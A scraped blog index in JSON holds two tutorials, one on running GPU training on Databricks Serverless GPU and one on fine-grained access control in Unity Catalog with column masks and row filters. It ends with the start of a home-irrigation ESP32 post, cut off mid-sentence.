2026","externalUrl":null,"permalink":"/tags/prompt-engineering/","section":"Tags","summary":"","title":"Prompt-Engineering","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/pytorch/","section":"Tags","summary":"","title":"Pytorch","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/rag/","section":"Tags","summary":"","title":"Rag","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/rbac/","section":"Tags","summary":"","title":"Rbac","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/security/","section":"Tags","summary":"","title":"Security","type":"tags"},{"content":"GPU provisioning has been the biggest friction point in ML/AI on Databricks. You want to fine-tune a model? First, configure a GPU cluster. Pick an instance type. Choose a runtime version. Wait for it to start. Hope your spot instances don\u0026rsquo;t get reclaimed mid-training. Get the bill — and realize you paid for 6 hours of idle time because you forgot to terminate the cluster after your run finished.\nDatabricks AI Runtime (formerly Serverless GPU Compute) removes all of that. You select an accelerator, click Apply, and you\u0026rsquo;re running on GPUs. No cluster configuration. No instance selection. No idle costs. One bill that includes both compute and infrastructure.\nIn this article, we\u0026rsquo;ll go hands-on: run a GPU workload on a single A10, scale to 8xH100 with distributed training, fine-tune Llama 3.2 with LoRA, and compare the real costs against traditional GPU clusters. With code you can run today.\nTraditional GPU Clusters vs. Serverless GPU # Here\u0026rsquo;s what running a GPU workload on Databricks looked like before AI Runtime:\n1 2 3 4 5 6 7 8 9 10 11 12 13 [You want to fine-tune a model] | Create a GPU cluster (pick instance type, driver, workers) | Wait 5-10 minutes for cluster startup | Install dependencies (pip install, conda, etc.) | Run your training job | Remember to terminate the cluster (or pay for idle time) | [Done — maybe $200 in idle costs later] With Serverless GPU:\n1 2 3 4 5 6 7 [You want to fine-tune a model] | Select \u0026#34;Serverless GPU\u0026#34; → pick A10 or H100 → Apply | Run your training job | [Done — you paid only for what you used] The difference isn\u0026rsquo;t just convenience. It\u0026rsquo;s structural:\nAspect Traditional GPU Cluster Serverless GPU Setup time 5-10 minutes Seconds Instance selection Manual (p3, g5, etc.) A10 or 8xH100 Idle costs You pay for running VMs Zero — pay per use Billing DBU + separate cloud VM costs Single DBU rate (includes VM) Cluster management Your responsibility Fully managed Autoscaling Configured manually Automatic Runtime version Choose and maintain Always current Max runtime Unlimited 7 days Getting Started: Your First Serverless GPU Notebook # Step 1: Connect to Serverless GPU # Open a Databricks notebook Click the compute selector (top-right) Select Serverless GPU In the Environment tab, choose your accelerator: A10 — 1 GPU, good for small-to-medium ML/DL tasks 8xH100 — 8 GPUs, for large-scale training and fine-tuning Click Apply That\u0026rsquo;s it. No cluster creation page. No instance type matrix. No driver selection.\nStep 2: Verify GPU Access # 1 %sh nvidia-smi You should see your GPU(s) listed with driver version, CUDA version, and memory info. If you selected A10, you\u0026rsquo;ll see one GPU. If you selected 8xH100, you\u0026rsquo;ll see eight.\nStep 3: Run a Quick GPU Workload # 1 2 3 4 5 6 7 8 9 10 11 12 import torch # Verify CUDA is available print(f\u0026#34;CUDA available: {torch.cuda.is_available()}\u0026#34;) print(f\u0026#34;GPU count: {torch.cuda.device_count()}\u0026#34;) print(f\u0026#34;GPU name: {torch.cuda.get_device_name(0)}\u0026#34;) # Quick tensor operation on GPU x = torch.randn(1000, 1000, device=\u0026#39;cuda\u0026#39;) y = torch.randn(1000, 1000, device=\u0026#39;cuda\u0026#39;) z = torch.mm(x, y) print(f\u0026#34;Matrix multiply result shape: {z.shape}, device: {z.device}\u0026#34;) If you\u0026rsquo;re using the AI environment (recommended), PyTorch comes pre-installed. If you\u0026rsquo;re on the base environment (v5), you\u0026rsquo;ll need to install it yourself — more on that in the Environment section below.\nDistributed Training on 8xH100 # Single-GPU workloads are straightforward — just write normal PyTorch code. The real power of Serverless GPU comes when you need to scale across multiple GPUs for fine-tuning or training larger models.\nDatabricks provides the @distributed decorator from the serverless_gpu package. It handles rank assignment, process spawning, and communication setup — you write the training logic.\nHello World: Distributed # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from serverless_gpu import distributed from serverless_gpu import runtime as rt @distributed(gpus=8, gpu_type=\u0026#39;h100\u0026#39;) def hello_distributed(name: str) -\u0026gt; list[int]: rank = rt.get_global_rank() local_rank = rt.get_local_rank() if local_rank == 0: print(f\u0026#34;Hello from rank 0, {name}!\u0026#34;) return rank # Call with .distributed() — NOT directly result = hello_distributed.distributed(\u0026#39;Serverless GPU\u0026#39;) assert result == [0, 1, 2, 3, 4, 5, 6, 7] print(f\u0026#34;All 8 GPUs reported in: {result}\u0026#34;) Critical: Call your function with .distributed(), not directly. Calling hello_distributed('arg') runs on a single process. Calling hello_distributed.distributed('arg') spawns across all GPUs. Key Rules for @distributed # gpus must be 8 for H100 (that\u0026rsquo;s the node configuration) gpu_type must match the accelerator your notebook is connected to A10 does NOT support distributed training — it\u0026rsquo;s single-GPU only Move data loading inside the decorated function to avoid pickle serialization issues Multi-node (multiple 8xH100 nodes) is currently in Private Preview Real-World: Fine-Tuning Llama 3.2 1B with LoRA # Let\u0026rsquo;s do something practical — fine-tune Meta\u0026rsquo;s Llama 3.2 1B model using LoRA on 8xH100 GPUs with DeepSpeed ZeRO-3.\nInstall Dependencies # 1 2 3 4 5 6 %pip install --upgrade transformers==4.56.1 %pip install peft==0.17.1 %pip install trl==0.18.1 %pip install deepspeed\u0026gt;=0.15.4 %pip install mlflow\u0026gt;=3.6.0 %restart_python For scheduled jobs, you must install dependencies with %pip install. The Dependencies panel in the notebook UI is not supported for jobs on Serverless GPU. The Training Script # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import json import os import tempfile from serverless_gpu import distributed UC_CATALOG = \u0026#34;main\u0026#34; UC_SCHEMA = \u0026#34;default\u0026#34; CHECKPOINT_DIR = f\u0026#34;/Volumes/{UC_CATALOG}/{UC_SCHEMA}/checkpoints/llama3_2-1b\u0026#34; @distributed(gpus=8, gpu_type=\u0026#39;H100\u0026#39;) def fine_tune_llama(): import torch import mlflow from datasets import load_dataset from transformers import ( AutoTokenizer, AutoModelForCausalLM, TrainingArguments, ) from trl import SFTTrainer from peft import LoraConfig # Load tokenizer and model tokenizer = AutoTokenizer.from_pretrained(\u0026#34;meta-llama/Llama-3.2-1B-Instruct\u0026#34;) if tokenizer.pad_token is None: tokenizer.pad_token = tokenizer.eos_token model = AutoModelForCausalLM.from_pretrained( \u0026#34;meta-llama/Llama-3.2-1B-Instruct\u0026#34;, torch_dtype=\u0026#34;auto\u0026#34;, ) # LoRA configuration peft_config = LoraConfig( r=16, lora_alpha=32, target_modules=[ \u0026#34;q_proj\u0026#34;, \u0026#34;v_proj\u0026#34;, \u0026#34;k_proj\u0026#34;, \u0026#34;o_proj\u0026#34;, \u0026#34;gate_proj\u0026#34;, \u0026#34;up_proj\u0026#34;, \u0026#34;down_proj\u0026#34;, ], lora_dropout=0.1, bias=\u0026#34;none\u0026#34;, task_type=\u0026#34;CAUSAL_LM\u0026#34;, ) # Dataset dataset = load_dataset(\u0026#34;trl-lib/Capybara\u0026#34;) # DeepSpeed ZeRO-3 config ds_config = { \u0026#34;bf16\u0026#34;: {\u0026#34;enabled\u0026#34;: True}, \u0026#34;zero_optimization\u0026#34;: { \u0026#34;stage\u0026#34;: 3, \u0026#34;overlap_comm\u0026#34;: True, \u0026#34;contiguous_gradients\u0026#34;: True, \u0026#34;reduce_bucket_size\u0026#34;: \u0026#34;auto\u0026#34;, \u0026#34;stage3_prefetch_bucket_size\u0026#34;: \u0026#34;auto\u0026#34;, \u0026#34;stage3_param_persistence_threshold\u0026#34;: \u0026#34;auto\u0026#34;, }, \u0026#34;gradient_accumulation_steps\u0026#34;: \u0026#34;auto\u0026#34;, \u0026#34;gradient_clipping\u0026#34;: \u0026#34;auto\u0026#34;, } ds_path = os.path.join(tempfile.mkdtemp(), \u0026#34;ds_config.json\u0026#34;) with open(ds_path, \u0026#34;w\u0026#34;) as f: json.dump(ds_config, f) # Training arguments training_args = TrainingArguments( output_dir=CHECKPOINT_DIR, per_device_train_batch_size=2, gradient_accumulation_steps=4, learning_rate=2e-4, max_steps=60, bf16=True, gradient_checkpointing=True, report_to=\u0026#34;mlflow\u0026#34;, deepspeed=ds_path, ) # Train trainer = SFTTrainer( model=model, args=training_args, train_dataset=dataset[\u0026#34;train\u0026#34;], processing_class=tokenizer, peft_config=peft_config, ) trainer.train() trainer.save_model() results = fine_tune_llama.distributed() This runs across all 8 H100 GPUs with DeepSpeed ZeRO-3 for memory-efficient distributed training. MLflow automatically logs metrics, and checkpoints go to a Unity Catalog Volume.\nEnvironment v5: What\u0026rsquo;s Under the Hood # Serverless GPU runs on Environment v5, which ships with a modern stack:\nComponent Version Ubuntu 24.04.2 LTS Python 3.12.3 CUDA Toolkit 12.9 PyTorch 2.9.0 Flash Attention 2.8.3 Databricks Connect 18.0.0 Two Environments: Base vs. AI # You choose between two pre-built environments:\nBase environment (~180 packages): Minimal. Good for custom setups where you control every dependency. Breaking change from v4: PyTorch is NOT included in the base environment. You must install it yourself or switch to the AI environment.\nAI environment (~220 packages): Everything in base, plus 40+ ML/AI libraries:\nLibrary Version Library Version transformers latest langchain latest trl 0.23.0 ray latest unsloth 2025.11.3 xgboost latest vllm 0.13.0 lightgbm latest catboost 1.2.8 pytorch-lightning latest If you\u0026rsquo;re upgrading from v4: spacy and sentencepiece were removed in v5. If your code depends on them, add explicit %pip install calls. Also, scipy, seaborn, and scikit-learn are no longer in the base environment — they\u0026rsquo;re still in the AI environment. Costs: Real Numbers # Serverless GPU uses the Model Training SKU at $0.65/DBU (AWS, US East, Premium tier). This single rate includes cloud VM infrastructure — no separate EC2 charges.\nFine-Tuning Cost Estimates # Model Training Data Approx DBUs Approx Cost Llama 3.3 70B 10M words 225 $146 Llama 3.3 70B 500M words 11,000 $7,150 Llama 3.1 8B 10M words 100 $65 Llama 3.1 8B 500M words 4,400 $2,860 Llama 3.2 1B 10M words 25 $16 Llama 3.2 1B 500M words 1,100 $715 The Hidden Cost of Traditional Clusters # Consider a typical workflow: spin up a p3.8xlarge cluster (4x V100), spend 2 hours debugging data loading, run a 3-hour training job, forget to terminate the cluster overnight.\nWith traditional clusters, you pay for all 13+ hours (2 debugging + 3 training + 8 idle). With Serverless GPU, you pay for 5 hours (2 + 3). The idle time literally costs zero because there\u0026rsquo;s no cluster to forget about.\nFor teams running GPU workloads intermittently — a few training runs per week, periodic fine-tuning, experimentation — Serverless GPU can cut GPU spend by 50-70% just by eliminating idle time.\nBonus: ai_parse_document — GPU-Powered Document Intelligence # While not technically a Serverless GPU workload (it runs on Foundation Model APIs), ai_parse_document is worth mentioning because it\u0026rsquo;s the kind of GPU-accelerated capability that \u0026ldquo;just works\u0026rdquo; without any infrastructure:\n1 2 3 4 5 6 7 8 -- Parse PDFs into structured elements SELECT path, ai_parse_document(content, MAP(\u0026#39;version\u0026#39;, \u0026#39;2.0\u0026#39;)) AS parsed FROM READ_FILES( \u0026#39;/Volumes/finance/invoices/\u0026#39;, format =\u0026gt; \u0026#39;binaryFile\u0026#39; ); Combine it with ai_extract for structured extraction:\n1 2 3 4 5 6 7 8 9 10 WITH parsed_docs AS ( SELECT path, ai_parse_document(content) AS parsed_content FROM READ_FILES(\u0026#39;/Volumes/finance/invoices/\u0026#39;, format =\u0026gt; \u0026#39;binaryFile\u0026#39;) ) SELECT path, ai_extract(parsed_content, \u0026#39;[\u0026#34;invoice_id\u0026#34;, \u0026#34;vendor_name\u0026#34;, \u0026#34;total_amount\u0026#34;]\u0026#39;) AS invoice_data FROM parsed_docs; This handles PDFs, images (JPG, PNG), Word docs, and PowerPoint files — up to 500 pages per document. No GPU cluster needed, no model deployment, no inference endpoint. Just a SQL function.\nLimitations You Should Know # Before going all-in on Serverless GPU, understand the constraints:\nHard limits:\n7-day maximum runtime — implement checkpointing for longer training runs 10 million MLflow metric steps — don\u0026rsquo;t log every batch on large runs Only A10 and 8xH100 — no other GPU types Distributed training requires H100 — A10 is single-GPU only Multi-node (multiple 8xH100 nodes) is Private Preview — you\u0026rsquo;re limited to 8 GPUs max today Environment restrictions:\nPython notebooks only — no Scala, no R No Spark UI — use query profile instead No environment variables — use notebook widgets for job parameters Notebook-scoped libraries are NOT cached across sessions (cold installs every time) Data access:\nUnity Catalog is mandatory — no direct DBFS access Move data loading inside @distributed functions to avoid serialization issues Cache datasets to /tmp (local NVMe SSD) for multi-epoch training — UC Volumes are networked storage Compliance:\nNo support for compliance security profiles (HIPAA, PCI DSS) Cross-region GPU provisioning can happen during high demand, which may incur egress costs Checkpointing Best Practice # Since you have a 7-day limit, always checkpoint to UC Volumes:\n1 2 3 4 5 6 7 8 9 import torch # Save to Unity Catalog Volume — survives session termination checkpoint_path = \u0026#34;/Volumes/main/default/checkpoints/model_epoch_5.pt\u0026#34; torch.save(model.state_dict(), checkpoint_path) # For distributed training, use torch.distributed.checkpoint import torch.distributed.checkpoint as dcp dcp.save(model.state_dict(), checkpoint_dir=checkpoint_path) When to Use Serverless GPU vs. Traditional Clusters # Use Serverless GPU when:\nYou need GPUs intermittently (experimentation, periodic fine-tuning) You want zero idle costs You\u0026rsquo;re fine with A10 or H100 accelerators Your training runs fit within 7 days You don\u0026rsquo;t need compliance security profiles Stick with traditional GPU clusters when:\nYou need specific GPU types (V100, A100, etc.) Your workloads run continuously (always-on serving) You require HIPAA/PCI compliance You need more than 8 GPUs (until multi-node GA) You need Spark RDD APIs or non-Python languages What\u0026rsquo;s Coming Next # Databricks has signaled several expansions for AI Runtime:\nMulti-node distributed training moving from Private Preview toward GA NVIDIA RTX PRO 4500 Blackwell GPU support (announced at GTC 2026) Broader region availability — currently limited to select AWS regions (us-west-2, us-west-1, us-east-1, us-east-2, ca-central-1, sa-east-1) The trajectory is clear: Databricks wants GPU compute to be as invisible as serverless SQL warehouses already are. You describe the workload, the platform handles the infrastructure.\nWrapping Up # Serverless GPU on Databricks isn\u0026rsquo;t just a convenience feature — it fundamentally changes the economics of GPU workloads. By eliminating cluster management and idle costs, it makes GPU compute accessible to teams that previously couldn\u0026rsquo;t justify dedicated GPU clusters.\nThe key takeaway: if you\u0026rsquo;re running intermittent GPU workloads on Databricks today — fine-tuning runs, model experimentation, batch inference — switch to Serverless GPU and stop paying for idle VMs. The migration is trivial (your PyTorch code doesn\u0026rsquo;t change), and the cost savings are immediate.\nFor distributed training on 8xH100, the @distributed decorator is remarkably simple. The hard part isn\u0026rsquo;t the infrastructure anymore — it\u0026rsquo;s the ML engineering. Which is exactly how it should be.\nCurrent status: AI Runtime (single-node) is in Public Preview as of March 2026. The distributed training API is in Beta. Multi-node is Private Preview. Check the Databricks AI Runtime documentation for the latest availability. ","date":"18 April 2026","externalUrl":null,"permalink":"/posts/serverless-gpu-ai-runtime-databricks/","section":"Posts","summary":"","title":"Serverless GPU \u0026 AI Runtime: Running GPU Workloads Without Cluster Management on Databricks","type":"posts"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/serverless-gpu/","section":"Tags","summary":"","title":"Serverless-Gpu","type":"tags"},{"content":"If you\u0026rsquo;ve ever had a data engineer ask \u0026ldquo;can I just give everyone SELECT on everything?\u0026rdquo; — this article is your ammunition for saying no.\nUnity Catalog (UC) isn\u0026rsquo;t just a metastore replacement. It\u0026rsquo;s Databricks\u0026rsquo; answer to the question every enterprise data platform eventually faces: who can see what, and how do we prove it?\nIn this deep dive, we\u0026rsquo;ll go beyond the basics and explore fine-grained access control — column masking, row-level security, and the privilege model that ties it all together. With real SQL you can run today, not just slides from a vendor pitch.\nIntroduction: Why Access Control Matters More Than You Think # Most data breaches don\u0026rsquo;t happen because someone hacked through a firewall. They happen because someone had access they shouldn\u0026rsquo;t have had. An analyst querying PII they didn\u0026rsquo;t need. A service account with ALL PRIVILEGES because \u0026ldquo;it was easier during development.\u0026rdquo;\nAccording to the 2024 Verizon DBIR, over 80% of data breaches involving databases were tied to privilege misuse or excessive access. Fine-grained access control isn\u0026rsquo;t a nice-to-have — it\u0026rsquo;s your first line of defense. Unity Catalog centralizes governance across all Databricks workspaces. One place for access policies. One audit trail. No more per-workspace ACLs that drift apart like continents.\nPrerequisites # Before you start, make sure you have:\nA Databricks workspace with Unity Catalog enabled Account admin or metastore admin privileges (for initial setup) A Unity Catalog metastore attached to your workspace Basic familiarity with SQL GRANT/REVOKE statements At least one catalog and schema created (we\u0026rsquo;ll create sample tables below) The UC Privilege Model: Three-Level Namespace # Unity Catalog organizes everything into a three-level namespace:\n1 catalog.schema.table This isn\u0026rsquo;t just naming convention — it\u0026rsquo;s the security boundary hierarchy. Privileges cascade downward, and each level acts as a permission checkpoint.\nflowchart TD subgraph Metastore[\"Metastore (Account Level)\"] direction TB MS[\"Metastore Admin\"] end subgraph Catalog[\"Catalog: production\"] direction TB CO[\"Catalog Owner\"] end subgraph Schema[\"Schema: production.finance\"] direction TB SO[\"Schema Owner\"] end subgraph Objects[\"Tables / Views / Functions\"] direction TB T1[\"invoices\"] T2[\"payments\"] T3[\"customers\"] end MS --\u003e CO CO --\u003e SO SO --\u003e T1 SO --\u003e T2 SO --\u003e T3 style MS fill:#e74c3c,color:white style CO fill:#e67e22,color:white style SO fill:#f1c40f,color:black style T1 fill:#2ecc71,color:white style T2 fill:#2ecc71,color:white style T3 fill:#2ecc71,color:white Securable Objects # UC governs access to these objects:\nObject Grantable Privileges Catalog USE CATALOG, CREATE SCHEMA, ALL PRIVILEGES Schema USE SCHEMA, CREATE TABLE, CREATE VIEW, CREATE FUNCTION, ALL PRIVILEGES Table SELECT, MODIFY, ALL PRIVILEGES View SELECT Function EXECUTE External Location CREATE EXTERNAL TABLE, READ FILES, WRITE FILES Storage Credential CREATE EXTERNAL LOCATION Setting Up: A Realistic Example # Let\u0026rsquo;s build a scenario that mirrors a real enterprise. We have a production catalog with a finance schema containing sensitive customer payment data.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 -- Create the catalog and schema CREATE CATALOG IF NOT EXISTS production; CREATE SCHEMA IF NOT EXISTS production.finance; -- Create a customers table with sensitive columns CREATE TABLE IF NOT EXISTS production.finance.customers ( customer_id STRING, full_name STRING, email STRING, phone STRING, ssn STRING, credit_score INT, region STRING, created_at TIMESTAMP ); -- Insert sample data INSERT INTO production.finance.customers VALUES (\u0026#39;C001\u0026#39;, \u0026#39;Alice Johnson\u0026#39;, \u0026#39;alice@example.com\u0026#39;, \u0026#39;+1-555-0101\u0026#39;, \u0026#39;123-45-6789\u0026#39;, 780, \u0026#39;US-WEST\u0026#39;, current_timestamp()), (\u0026#39;C002\u0026#39;, \u0026#39;Bob Smith\u0026#39;, \u0026#39;bob@example.com\u0026#39;, \u0026#39;+1-555-0102\u0026#39;, \u0026#39;987-65-4321\u0026#39;, 650, \u0026#39;US-EAST\u0026#39;, current_timestamp()), (\u0026#39;C003\u0026#39;, \u0026#39;Carol Martinez\u0026#39;, \u0026#39;carol@example.com\u0026#39;, \u0026#39;+1-555-0103\u0026#39;, \u0026#39;456-78-9012\u0026#39;, 720, \u0026#39;EU-WEST\u0026#39;, current_timestamp()), (\u0026#39;C004\u0026#39;, \u0026#39;Dave Chen\u0026#39;, \u0026#39;dave@example.com\u0026#39;, \u0026#39;+1-555-0104\u0026#39;, \u0026#39;321-54-9876\u0026#39;, 800, \u0026#39;APAC\u0026#39;, current_timestamp()); Now let\u0026rsquo;s lock it down properly.\nCatalog \u0026amp; Schema-Level Access # The first layer of defense is controlling who can even see that a catalog or schema exists.\n1 2 3 4 5 6 7 8 9 10 11 -- Create groups for different teams -- (In production, sync these from your IdP via SCIM) -- Grant the analytics team access to the catalog GRANT USE CATALOG ON CATALOG production TO `analytics-team`; -- Grant access to the finance schema GRANT USE SCHEMA ON SCHEMA production.finance TO `analytics-team`; -- Grant SELECT on specific tables GRANT SELECT ON TABLE production.finance.customers TO `analytics-team`; Without USE CATALOG, a user can\u0026rsquo;t even list schemas. Without USE SCHEMA, they can\u0026rsquo;t list tables. This is deny-by-default — if you don\u0026rsquo;t explicitly grant, access doesn\u0026rsquo;t exist.\n1 2 -- Verify grants SHOW GRANTS ON TABLE production.finance.customers; The Ownership Model # Every securable object has an owner. Owners have implicit ALL PRIVILEGES on their objects. This is powerful but dangerous if you\u0026rsquo;re not careful:\n1 2 3 -- Transfer ownership to a service principal (recommended for production) ALTER TABLE production.finance.customers SET OWNER TO `finance-data-platform-sp`; Best practice: Don\u0026rsquo;t leave table ownership with individual users. Transfer ownership to a service principal or a dedicated admin group. People leave companies; service principals don\u0026rsquo;t quit. Column Masking: Hiding Sensitive Data In Place # This is where it gets interesting. Column masking lets you define functions that transform sensitive column values based on who\u0026rsquo;s querying. The data stays intact in storage — the masking happens at query time.\nStep 1: Create a Masking Function # 1 2 3 4 5 6 7 8 -- Mask SSN: show full value to finance-admins, redacted for everyone else CREATE OR REPLACE FUNCTION production.finance.mask_ssn(ssn STRING) RETURNS STRING RETURN CASE WHEN is_account_group_member(\u0026#39;finance-admins\u0026#39;) THEN ssn ELSE CONCAT(\u0026#39;***-**-\u0026#39;, RIGHT(ssn, 4)) END; Step 2: Apply the Mask to the Column # 1 2 ALTER TABLE production.finance.customers ALTER COLUMN ssn SET MASK production.finance.mask_ssn; What Users See # Finance admin queries the table:\n1 2 3 4 | customer_id | full_name | ssn | |-------------|-----------------|-------------| | C001 | Alice Johnson | 123-45-6789 | | C002 | Bob Smith | 987-65-4321 | Analytics team member queries the same table:\n1 2 3 4 | customer_id | full_name | ssn | |-------------|-----------------|-------------| | C001 | Alice Johnson | ***-**-6789 | | C002 | Bob Smith | ***-**-4321 | Same table. Same query. Different results based on identity. No separate views to maintain. No ETL pipelines to strip PII. The security boundary lives with the data.\nMore Masking Patterns # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 -- Email masking: show domain only CREATE OR REPLACE FUNCTION production.finance.mask_email(email STRING) RETURNS STRING RETURN CASE WHEN is_account_group_member(\u0026#39;finance-admins\u0026#39;) THEN email ELSE CONCAT(\u0026#39;****@\u0026#39;, SPLIT(email, \u0026#39;@\u0026#39;)[1]) END; -- Credit score: show range instead of exact value CREATE OR REPLACE FUNCTION production.finance.mask_credit_score(score INT) RETURNS STRING RETURN CASE WHEN is_account_group_member(\u0026#39;finance-admins\u0026#39;) THEN CAST(score AS STRING) WHEN score \u0026gt;= 750 THEN \u0026#39;Excellent\u0026#39; WHEN score \u0026gt;= 700 THEN \u0026#39;Good\u0026#39; WHEN score \u0026gt;= 650 THEN \u0026#39;Fair\u0026#39; ELSE \u0026#39;Poor\u0026#39; END; -- Apply both masks ALTER TABLE production.finance.customers ALTER COLUMN email SET MASK production.finance.mask_email; ALTER TABLE production.finance.customers ALTER COLUMN credit_score SET MASK production.finance.mask_credit_score; Row-Level Security: Filtering What You Can\u0026rsquo;t See # Column masking hides values. Row-level security hides entire rows. If a user shouldn\u0026rsquo;t know a customer exists in a certain region — they simply don\u0026rsquo;t see that row.\nStep 1: Create a Row Filter Function # 1 2 3 4 5 6 7 8 9 10 11 12 -- Regional managers only see customers in their region CREATE OR REPLACE FUNCTION production.finance.region_filter(region STRING) RETURNS BOOLEAN RETURN CASE WHEN is_account_group_member(\u0026#39;finance-admins\u0026#39;) THEN TRUE WHEN is_account_group_member(\u0026#39;us-west-team\u0026#39;) AND region = \u0026#39;US-WEST\u0026#39; THEN TRUE WHEN is_account_group_member(\u0026#39;us-east-team\u0026#39;) AND region = \u0026#39;US-EAST\u0026#39; THEN TRUE WHEN is_account_group_member(\u0026#39;eu-team\u0026#39;) AND region = \u0026#39;EU-WEST\u0026#39; THEN TRUE WHEN is_account_group_member(\u0026#39;apac-team\u0026#39;) AND region = \u0026#39;APAC\u0026#39; THEN TRUE ELSE FALSE END; Step 2: Apply the Row Filter # 1 2 ALTER TABLE production.finance.customers SET ROW FILTER production.finance.region_filter ON (region); The Result # A us-west-team member runs SELECT * FROM production.finance.customers:\n1 2 3 | customer_id | full_name | region | |-------------|---------------|---------| | C001 | Alice Johnson | US-WEST | They get one row. Not because they ran a WHERE clause — because the platform enforced it. The other three rows don\u0026rsquo;t exist in their view of the world.\nRow filters and column masks stack. A us-west-team member will see only US-WEST rows and masked SSN/email values. Defense in depth, applied at the data layer. The Security Architecture: How It All Fits Together # flowchart LR subgraph Identity[\"Identity Layer\"] IDP[\"IdP (Entra ID / Okta)\"] SCIM[\"SCIM Sync\"] Groups[\"UC Groups\"] IDP --\u003e SCIM --\u003e Groups end subgraph Governance[\"Unity Catalog Governance\"] direction TB Privs[\"Privilege Grants\\n(GRANT/REVOKE)\"] ColMask[\"Column Masks\\n(UDF-based)\"] RowFilter[\"Row Filters\\n(UDF-based)\"] Audit[\"Audit Logs\\n(System Tables)\"] end subgraph Data[\"Data Layer\"] direction TB Tables[\"Delta Tables\"] ExtLoc[\"External Locations\\n(S3/ADLS/GCS)\"] StorCred[\"Storage Credentials\"] end subgraph Compute[\"Compute Layer\"] SQL[\"SQL Warehouse\"] Cluster[\"All-Purpose Cluster\"] Job[\"Job Cluster\"] Serverless[\"Serverless\"] end Groups --\u003e Privs Groups --\u003e ColMask Groups --\u003e RowFilter Privs --\u003e Tables ColMask --\u003e Tables RowFilter --\u003e Tables Tables --\u003e ExtLoc ExtLoc --\u003e StorCred Compute --\u003e Governance style IDP fill:#3498db,color:white style Groups fill:#3498db,color:white style Privs fill:#e74c3c,color:white style ColMask fill:#e74c3c,color:white style RowFilter fill:#e74c3c,color:white style Audit fill:#e74c3c,color:white The key insight: every compute type goes through Unity Catalog. SQL Warehouses, interactive clusters, jobs, serverless — they all enforce the same policies. No backdoors.\nAuditing: Proving You Did It Right # Access control without auditing is like a lock without a camera. Unity Catalog logs every access event to system tables:\n1 2 3 4 5 6 7 8 9 10 11 -- Who accessed the customers table in the last 7 days? SELECT event_date, user_identity.email AS user_email, action_name, request_params.full_name_arg AS table_name, source_ip_address FROM system.access.audit WHERE request_params.full_name_arg = \u0026#39;production.finance.customers\u0026#39; AND event_date \u0026gt;= current_date() - INTERVAL 7 DAYS ORDER BY event_date DESC; 1 2 3 4 5 6 7 8 9 10 -- Show all GRANT/REVOKE operations for compliance reporting SELECT event_date, user_identity.email, action_name, request_params FROM system.access.audit WHERE action_name IN (\u0026#39;grantPermission\u0026#39;, \u0026#39;revokePermission\u0026#39;) AND event_date \u0026gt;= current_date() - INTERVAL 30 DAYS ORDER BY event_date DESC; This is your compliance paper trail. SOC 2, GDPR, HIPAA — auditors love receipts.\nKey Takeaways # Deny-by-default: Unity Catalog grants no access unless explicitly given. USE CATALOG and USE SCHEMA are your first gates. Column masking transforms sensitive values at query time using SQL functions — no separate views or ETL pipelines needed. Row-level security filters rows based on user identity, enforced by the platform regardless of how the query is written. All compute types respect UC policies — there\u0026rsquo;s no way to bypass governance by switching to a different cluster type. System tables provide a complete audit trail for compliance and incident response. Next Steps # Implement attribute-based access control (ABAC): Combine UC groups with workspace tags for dynamic policies. Explore Delta Sharing: Extend UC governance to external data sharing across organizations. Set up automated compliance reports: Schedule queries against system.access.audit for weekly governance summaries. Read the next article in the series: We\u0026rsquo;ll tackle Delta Lake performance tuning — Z-Order, Liquid Clustering, and Optimize. Unity Catalog doesn\u0026rsquo;t just protect your data — it lets you prove it\u0026rsquo;s protected. And in a world where regulators have better lawyers than your company, that proof is worth its weight in gold.\n","date":"18 April 2026","externalUrl":null,"permalink":"/posts/unity-catalog-fine-grained-access-control/","section":"Posts","summary":"","title":"Unity Catalog Deep Dive: Fine-Grained Access Control","type":"posts"},{"content":"","date":"10 April 2026","externalUrl":null,"permalink":"/tags/automation/","section":"Tags","summary":"","title":"Automation","type":"tags"},{"content":"","date":"10 April 2026","externalUrl":null,"permalink":"/tags/esp32/","section":"Tags","summary":"","title":"Esp32","type":"tags"},{"content":"","date":"10 April 2026","externalUrl":null,"permalink":"/tags/esphome/","section":"Tags","summary":"","title":"Esphome","type":"tags"},{"content":"","date":"10 April 2026","externalUrl":null,"permalink":"/tags/home-assistant/","section":"Tags","summary":"","title":"Home-Assistant","type":"tags"},{"content":"","date":"10 April 2026","externalUrl":null,"permalink":"/categories/homelab/","section":"Categories","summary":"","title":"Homelab","type":"categories"},{"content":"","date":"10 April 2026","externalUrl":null,"permalink":"/categories/iot/","section":"Categories","summary":"","title":"IoT","type":"categories"},{"content":"","date":"10 April 2026","externalUrl":null,"permalink":"/tags/irrigation/","section":"Tags","summary":"","title":"Irrigation","type":"tags"},{"content":"Your irrigation controller is a black box. It runs a schedule someone programmed years ago, has no remote access, no monitoring, and no way to tell you that zone 3 has been running twice as long as the others because a sprinkler head is clogged. When it fails, you find out by looking at a dead lawn or a flooded garden bed.\nI\u0026rsquo;ve been running a Toro Temp-4 for years. It works — but it\u0026rsquo;s a dumb timer with no integration, no telemetry, and no way to react to weather conditions in real time. When I started building out my Home Assistant setup, replacing it was an obvious next step.\nHere\u0026rsquo;s what I built — and more importantly, what safety guarantees the firmware provides when your WiFi goes down or Home Assistant crashes mid-cycle.\nThe Hardware # Before After The Waveshare ESP32-S3-Relay-6CH is a 6-channel relay board built around the ESP32-S3 with optically isolated relays rated at 10A/250V AC. It runs ESPHome, connects to Home Assistant over WiFi, and costs about the same as a basic smart plug.\nKey specs:\nMCU: ESP32-S3-WROOM-1U-N8 (dual-core 240 MHz, 8MB flash) Relays: 6x optocoupler-isolated, 